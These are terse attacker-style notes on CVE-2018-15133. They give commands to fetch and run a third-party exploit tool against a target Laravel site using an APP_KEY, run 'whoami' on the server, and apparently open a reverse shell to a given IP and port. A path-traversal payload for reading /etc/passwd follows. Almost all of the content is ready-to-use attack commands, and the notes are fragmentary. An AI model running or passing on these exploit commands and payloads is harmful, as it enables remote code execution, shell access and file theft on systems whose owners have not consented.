#CVE-2018-15133

PwnedShell/Larascript

git clone <https://github.com/PwnedShell/Larascript>; cd Larascript; pip3 install -r requirements.txt

or

wget <https://raw.githubusercontent.com/PwnedShell/Larascript/master/larascript.py>; chmod +x larascript.py; sudo pip install art
python3 larascript.py <https://company.com/> -k "V+smbcoefZv1FD9Y6+NWFoXpqfnLf+g6yD37/9CrlNc=" -c "whoami"
python3 larascript.py <https://company.com/> -k "V+smbcoefZv1FD9Y6+NWFoXpqfnLf+g6yD37/9CrlNc=" -c "whoami"-s python -p 443 -U IP -P 8080 -m 3

LFI

//////////////////../../../../../../../../etc/passwd

Untitled